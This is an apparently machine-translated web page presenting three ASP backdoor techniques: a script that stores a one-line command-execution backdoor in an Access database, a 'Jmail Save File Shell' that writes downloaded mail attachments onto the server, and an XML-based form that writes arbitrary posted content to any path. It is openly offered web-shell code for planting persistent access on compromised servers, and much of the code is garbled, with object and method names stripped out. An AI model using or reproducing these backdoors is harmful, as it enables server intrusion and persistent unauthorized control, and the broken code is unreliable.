SoFunction
Updated on 2025-04-10

Several alternative ASP backdoors

<% 
'code by netpatch
dim dbfile,sql 
db=""
dbfile=(db) 

set ydb=("") 
 "Provider=.4.0;Data Source=" & dbfile 
set ydb=nothing 
if =0 then 
dbfile & " Create successfully<br> "
else 
"Creation failed, reason: " &
 
end if 

Set Conn = ("") 
 "Provider=.4.0; Data Source=" & dbfile 

sql="CREATE TABLE fdata([data] Memo)" 
(sql) 

Set rs = CreateObject("") 
 "FData", conn, 1, 3 
 
rs("data")="┼Calculate-based filament sting gangster∨≮┩>"   '(Remember to remove the comment! One sentence backdoor execute request("n"))
 


%>

Write files in Jmail into hard disk



<% 
    'codz by kEvin1986 [S4T]
    User=("User")
    Pass=("Pass")
    Popserver=("Popserver")

    if User<>"" and Pass<>"" and Popserver<>"" then
        Set objmail = CreateObject( "JMail.POP3" )
         User, Pass, Popserver

        set objmsg=CreateObject("")
        Set objmsg = (1) 
        separator = ", "
         "Attachment Name is: " & SaveAtta & "<br>"
        
    End if

    Function SaveAtta()
        Set Attachments = 
        separator = ", "
         "The size of this Attachment is: " &  & "<br>"
        For i = 0 To  - 1
        If i =  - 1 Then
              separator = ""
        End If

        Set Theatta = Attachments(i)
          
        ((".") & "\" & )
         "Oh!Hey Guy.....That's OK!"
        Next
    End Function
%>

<Html>
<Head>
<Title>Jmail Save File Shell</Title>
</Head>
<Body>
<Center>
<Form Method="POST">
User: <input name="User" type=text value="kevin1986"><br>
Pass: <input name="Pass" type=text value="1986lovinghuan"><br>
POP3: <input name="Popserver" type=text value="pop."><br>
<input type=submit value="Get the Attachments Of the First Mail">
</Form>
</Center>
</Body>
</Html> 

Using xml to write horses


<%on error resume next%>
<form  name="form1" method="post" action=''''>
<p>* content</p>
<p><textarea name="flashboy" cols="80" rows="10"></textarea></p>
<p>Path</p>
<p><input name="textfield" type="text" size="50" /></p>
<p><input type="submit" name="Submit" value="Submit" //</p></form>
<p><% "Absolute path to this file"%>
  <%=(("SCRIPT_NAME"))%></p>
<%
dim xmlString
dim xmlDoc
xmlString= Request("flashboy")
set xmlDoc = ("")
(xmlString)
f=Request("textfield")
(f)
set xmlDoc=nothing
%>